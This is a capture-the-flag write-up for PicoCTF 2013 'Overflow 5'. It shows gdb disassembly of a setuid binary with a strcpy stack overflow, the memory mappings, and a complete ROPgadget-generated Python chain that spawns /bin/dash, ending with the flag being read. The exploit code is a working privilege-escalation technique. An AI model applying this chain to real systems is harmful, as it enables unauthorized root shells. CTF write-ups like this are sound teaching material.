# PicoCTF 2k13 - Overflow 5

$ gdb buffer_overflow_shellcode_hard
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x080483c0 <+0>: push   ebp
   0x080483c1 <+1>: mov    ebp,esp
   0x080483c3 <+3>: and    esp,0xfffffff0
   0x080483c6 <+6>: sub    esp,0x10
   0x080483c9 <+9>: cmp    DWORD PTR [ebp+0x8],0x2
   0x080483cd <+13>: je     0x80483e2 <main+34>
   0x080483cf <+15>: mov    DWORD PTR [esp],0x80485c0
   0x080483d6 <+22>: call   0x8048390 <puts@plt>
   0x080483db <+27>: mov    eax,0x1
   0x080483e0 <+32>: leave  
   0x080483e1 <+33>: ret    
   0x080483e2 <+34>: call   0x8048370 <geteuid@plt>
   0x080483e7 <+39>: mov    DWORD PTR [esp+0x8],eax
   0x080483eb <+43>: mov    DWORD PTR [esp+0x4],eax
   0x080483ef <+47>: mov    DWORD PTR [esp],eax
   0x080483f2 <+50>: call   0x8048360 <setresuid@plt>
   0x080483f7 <+55>: mov    eax,DWORD PTR [ebp+0xc]
   0x080483fa <+58>: mov    eax,DWORD PTR [eax+0x4]
   0x080483fd <+61>: mov    DWORD PTR [esp],eax
   0x08048400 <+64>: call   0x80484c0 <vuln>
   0x08048405 <+69>: xor    eax,eax
   0x08048407 <+71>: leave  
   0x08048408 <+72>: ret    
End of assembler dump.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
   0x080484c0 <+0>: sub    esp,0x41c
   0x080484c6 <+6>: mov    eax,DWORD PTR [esp+0x420]
   0x080484cd <+13>: mov    DWORD PTR [esp+0x4],eax
   0x080484d1 <+17>: lea    eax,[esp+0x10]
   0x080484d5 <+21>: mov    DWORD PTR [esp],eax
   0x080484d8 <+24>: call   0x8048380 <strcpy@plt>
   0x080484dd <+29>: add    esp,0x41c
   0x080484e3 <+35>: ret    
End of assembler dump.
(gdb) break main
(gdb) run
(gdb) info proc mappings 
process 21137
Mapped address spaces:

 Start Addr   End Addr       Size     Offset objfile
  0x8048000  0x8049000     0x1000        0x0 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
  0x8049000  0x804a000     0x1000        0x0 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
  0x804a000  0x804b000     0x1000     0x1000 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
 0xf7e28000 0xf7e29000     0x1000        0x0 
 0xf7e29000 0xf7fca000   0x1a1000        0x0 /lib32/libc-2.15.so
 0xf7fca000 0xf7fcc000     0x2000   0x1a1000 /lib32/libc-2.15.so
 0xf7fcc000 0xf7fcd000     0x1000   0x1a3000 /lib32/libc-2.15.so
 0xf7fcd000 0xf7fd1000     0x4000        0x0 
 0xf7fda000 0xf7fdb000     0x1000        0x0 
 0xf7fdb000 0xf7fdc000     0x1000        0x0 [vdso]
 0xf7fdc000 0xf7ffc000    0x20000        0x0 /lib32/ld-2.15.so
 0xf7ffc000 0xf7ffd000     0x1000    0x1f000 /lib32/ld-2.15.so
 0xf7ffd000 0xf7ffe000     0x1000    0x20000 /lib32/ld-2.15.so
 0xfffdd000 0xffffe000    0x21000        0x0 [stack]
$ ./ROPgadget /lib32/libc-2.15.so /bin/dash 2>&1 | grep -A 1000 python | sed -e "s/p = ''/p = '\\\x90'*1036/" -e 's/off = 0x0/off = 0xf7e29000/' > ~/rop.py
# cat ~/rop.py 
#!/usr/bin/python
# execve generated by Ropgadget v4.0.4
from struct import pack

p = '\x90'*1036
# Padding goes here

# This ROP Exploit has been generated for a shared object.
# The addresses of the gadgets will need to be adjusted.
# Set this variable to the offset of the shared library
off = 0xf7e29000

p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee0) # @ .data
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "/bin" # /bin
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee4) # @ .data + 4
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "/das" # /das
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee8) # @ .data + 8
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "hAAA" # hAAA
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += "AAAA" # padding
p += pack("<I", off + 0x00032e30) # xor eax,eax ; ret
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000192ee) # pop ebx ; ret
p += pack("<I", off + 0x001a3ee0) # @ .data
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += "AAAA" # padding
p += pack("<I", off + 0x00001a9e) # pop edx ; ret
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += pack("<I", off + 0x00032e30) # xor eax,eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x0002e2f5) # int 0x80
print p
$ ./buffer_overflow_shellcode_hard `python ~/rop.py`
$ cat key
most_impressive_young_padawan